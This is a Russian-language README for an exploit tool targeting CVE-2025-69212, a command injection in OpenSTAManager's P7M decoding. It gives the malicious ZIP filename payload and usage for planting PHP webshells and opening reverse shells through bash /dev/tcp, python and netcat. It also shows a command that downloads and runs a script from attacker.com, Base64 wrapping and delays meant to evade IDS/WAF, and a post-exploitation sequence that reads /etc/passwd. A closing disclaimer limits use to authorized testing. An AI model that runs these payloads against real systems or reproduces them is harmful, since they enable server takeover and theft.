OpenSTAManager v2.9.8 и более ранние версии содержат критическую уязвимость внедрения команд ОС в функции декодирования файлов P7M (подписанные XML).
| Поле | Детали |
|---|
| CVE ID | CVE-2025-69212 |
| Severity | КРИТИЧЕСКИЙ (CVSS 4.0: 9.4) |
| CWE | CWE-78: OS Command Injection |
| Затрагиваемые версии | OpenSTAManager <= 2.9.8 |
| Уязвимая функция | XML::decodeP7M() в src/Util/XML.php |
| Вектор атаки | Вредоносное имя файла в загруженном ZIP-архиве |
| Аутентификация | Требуется (любой пользователь с доступом к импорту счетов) |
| Влияние | Полное удаленное выполнение кода от имени пользователя веб-сервера |
OpenSTAManager v2.9.8 и более ранние версии содержат критическую уязвимость внедрения команд ОС в функции декодирования P7M-файлов (подписанные XML). Метод decodeP7M() в src/Util/XML.php передает имена файлов, контролируемые пользователем, напрямую в PHP-функцию exec() без санитизации, что позволяет аутентифицированным злоумышленникам выполнять произвольные системные команды на сервере.
// src/Util/XML.php:100
public static function decodeP7M($file)
{
$directory = pathinfo($file, PATHINFO_DIRNAME);
$output_file = $directory.'/'.basename($file, '.p7m');
exec('openssl smime -verify -noverify -in "'.$file.'" -inform DER -out "'.$output_file.'"', $output, $cmd);
}
Параметр $file — который берется из имен файлов внутри загруженных ZIP-архивов — заключен в двойные кавычки, но никогда не санитизируется с помощью escapeshellarg(). Злоумышленник может создать имя .p7m-файла, которое экранирует контекст двойных кавычек и внедряет произвольные команды оболочки.
plugins/importFE_ZIP/actions.php:126 — Первичный вектор при обработке ZIP-загрузок, содержащих электронные счетаplugins/importFE/src/FatturaElettronica.php:56 — Конструктор, обрабатывающий отдельные .p7m-файлы| Возможность | Описание |
|---|---|
--check | Проверить, уязвима ли цель (создает и проверяет файл-маркер) |
--webshell | Развернуть PHP-вебшелл через внедрение команд ОС |
--rce | Интерактивное выполнение команд через развернутый вебшелл |
--reverse-shell | Запустить обратную оболочку (методы python, nc, nc-e) |
--cmd | Слепое выполнение команд (выстрелил и забыл) |
--shell-dir | Пользовательская директория записи вебшелла |
--method | Выбор метода обратной оболочки |
--proxy | Поддержка HTTP-прокси (Burp Suite) |
--delay | Регулировка задержки запросов для обхода IDS/WAF |
| Автоопределение | Автоматическое обнаружение ID модуля/плагина importFE_ZIP |
git clone https://github.com/BridgerAlderson/CVE-2025-69212.git
cd CVE-2025-69212
pip install requests
# Вход с учетными данными
python3 exploit.py -t http://target.com -u admin -p secret --check
# Использование существующей сессионной cookie
python3 exploit.py -t http://target.com -c <PHPSESSID_VALUE> --check
# Автоопределение плагина и проверка уязвимости
python3 exploit.py -t http://target.com -u admin -p secret --check
# С известными ID модуля/плагина
python3 exploit.py -t http://target.com -u admin -p secret --check --module-id 14 --plugin-id 23
# Развернуть вебшелл в директорию по умолчанию (files/)
python3 exploit.py -t http://target.com -u admin -p secret --webshell
# Пользовательская директория и имя файла
python3 exploit.py -t http://target.com -u admin -p secret --webshell --shell-dir uploads --shell-name .config.php
# Развернуть вебшелл + интерактивную оболочку
python3 exploit.py -t http://target.com -u admin -p secret --rce
# С уже существующим вебшеллом от предыдущего запуска
python3 exploit.py -t http://target.com -u admin -p secret --webshell --rce
# Обратная оболочка bash (по умолчанию, очень надежна)
python3 exploit.py -t http://target.com -u admin -p secret --reverse-shell 10.10.14.5 4444
# Обратная оболочка Python
python3 exploit.py -t http://target.com -u admin -p secret --reverse-shell 10.10.14.5 4444 --method python
# Netcat с mkfifo
python3 exploit.py -t http://target.com -u admin -p secret --reverse-shell 10.10.14.5 4444 --method nc
# Netcat с флагом -e
python3 exploit.py -t http://target.com -u admin -p secret --reverse-shell 10.10.14.5 4444 --method nc-e
# Выполнить команду (без возврата вывода)
python3 exploit.py -t http://target.com -u admin -p secret --cmd "id"
# Загрузить и выполнить пейлоад
python3 exploit.py -t http://target.com -u admin -p secret --cmd "cd tmp && wget http://attacker.com/shell.sh && bash shell.sh"
# Через прокси Burp Suite
python3 exploit.py -t http://target.com -u admin -p secret --webshell --proxy http://127.0.0.1:8080
# С задержкой запроса (2 секунды)
python3 exploit.py -t http://target.com -u admin -p secret --check --delay 2
# Пропустить проверку SSL
python3 exploit.py -t https://target.com -u admin -p secret --check -k
Цель:
-t, --target Базовый URL цели
Аутентификация:
-u, --user Имя пользователя для входа
-p, --password Пароль для входа
-c, --cookie Существующее значение PHPSESSID
Действия:
--check Проверить, уязвима ли цель
--webshell Развернуть PHP-вебшелл
--rce Интерактивная оболочка через вебшелл
--reverse-shell Обратная оболочка (LHOST LPORT)
--cmd COMMAND Слепое выполнение команды
Параметры оболочки:
--shell-dir DIR Директория записи вебшелла (по умолчанию: files)
--shell-name NAME Пользовательское имя файла вебшелла
--method METHOD Метод обратной оболочки: bash, python, nc, nc-e
Определение плагина:
--module-id ID ID модуля OpenSTAManager
--plugin-id ID ID плагина importFE_ZIP
Сеть:
--proxy URL URL HTTP-прокси
-k, --no-ssl-verify Отключить проверку SSL
--delay SECONDS Задержка между запросами
Эксплойт создает ZIP-архив, содержащий один .p7m-файл с вредоносным именем:
invoice.p7m";INJECTED_COMMAND;echo ".p7m
Когда OpenSTAManager обрабатывает этот файл, результирующий вызов exec() становится:
openssl smime -verify -noverify -in "invoice.p7m";INJECTED_COMMAND;echo ".p7m" -inform DER -out "..."
Оболочка интерпретирует точки с запятой как разделители команд, выполняя внедренную команду между завершенным вызовом openssl и завершающим echo.
Критично: PHP-функция
ZipArchive::extractTo()рассматривает косую черту (/) в именах файлов как разделитель директорий в соответствии со спецификацией ZIP. Любая/в вредоносном имени файла приведет к разделению записи архива на директории, нарушая пейлоад эксплойта.
Все внедренные команды должны полностью избегать /. Чтобы полностью обойти это ограничение и предотвратить зависание PHP-функции exec() (что может занять рабочие процессы сервера и вызвать тайм-ауты), эксплойт теперь автоматически оборачивает пейлоады в Base64 и выполняет их в фоне:
echo <BASE64_PAYLOAD> | base64 -d | bash >/dev/null 2>&1 &
Это позволяет использовать / естественным образом внутри внутреннего пейлоада (например, /dev/tcp/10.10.14.5/4444) без нарушения структуры ZIP.
| Метод | Пейлоад | Требуется |
|---|---|---|
bash | bash -c 'bash -i >& /dev/tcp/H/P 0>&1' | bash |
python | python3 -c "import socket,os,subprocess;..." | Python 3 |
nc | rm -f /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/bash -i 2>&1|nc HOST PORT >/tmp/f | netcat + mkfifo |
nc-e | nc HOST PORT -e /bin/bash | netcat с поддержкой -e |
Метод bash теперь используется по умолчанию, так как он наиболее надежен и является родным для Linux-целей.
Загрузка ZIP через плагин importFE_ZIP
└── actions.php отправляет обработчику плагина
└── ZipArchive::extractTo() извлекает файлы
└── Итерирует .p7m-файлы
└── XML::decodeP7M($filename)
└── exec('openssl smime ... -in "'.$filename.'"')
└── Оболочка интерпретирует внедренные команды
1. --check → Подтверждение RCE через файл-маркер
2. --webshell → Размещение PHP-шелла в директории files/
3. --rce → Интерактивное выполнение команд
4. Разведка → id, cat /etc/passwd, ifconfig
5. Перемещение → Обратная оболочка к атакующему, пост-эксплуатация
Этот инструмент предоставляется только для авторизованного тестирования безопасности и образовательных целей. Несанкционированный доступ к компьютерным системам является незаконным. Всегда получайте надлежащее разрешение перед тестированием. Автор не несет ответственности за неправомерное использование.